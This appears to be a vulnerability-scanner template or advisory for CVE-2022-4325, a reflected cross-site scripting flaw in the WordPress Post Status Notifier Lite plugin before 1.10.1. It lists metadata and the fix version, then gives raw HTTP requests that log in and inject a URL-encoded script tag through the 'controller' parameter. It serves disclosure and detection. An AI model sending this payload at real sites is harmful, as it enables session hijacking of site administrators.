| Title | WordPress Post Status Notifier Lite <1.10.1 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Fixed in version 1.10.1. |
| CVSS Score | 6.1 |
| EPSS Score | 0.12454 |
| CVE ID | CVE-2022-4325 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 wp wordpress wpscan authenticated xss wp-plugin post-status-notifier-lite ifeelweb vuln |
WordPress Post Status Notifier Lite plugin before 1.10.1 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This vulnerability can be used against high-privilege users such as admin.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=j4SSPT&pwd=TZBnnp&wp-submit=Log+In
GET /wp-admin/options-general.php?page=post-status-notifier-lite&controller=%3Cscript%3Ealert%28%60document.domain%60%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.8
Connection: close
Accept-Encoding: gzip
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